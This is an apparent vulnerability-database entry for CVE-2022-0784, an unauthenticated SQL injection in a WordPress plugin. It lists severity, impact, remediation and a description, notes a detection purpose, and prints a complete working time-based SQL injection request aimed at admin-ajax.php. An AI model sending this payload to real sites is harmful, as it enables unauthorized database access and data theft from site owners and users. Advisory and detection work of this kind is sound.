🔙 목록으로 돌아가기

CVE-2022-0784: WordPress Title Experiments Free <9.0.1 - SQL Injection

TitleWordPress Title Experiments Free <9.0.1 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpdate to the latest version of WordPress Title Experiments Free plugin (9.0.1 or higher) to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.72843
CVE IDCVE-2022-0784
CWE IDCWE-89
Tags time-based-sqli cve2022 cve wpscan wp-plugin wp sqli wp-experiments-free unauth wordpress title_experiments_free_project vkev vuln

🔍 Vulnerability Description

WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0784.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0784.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A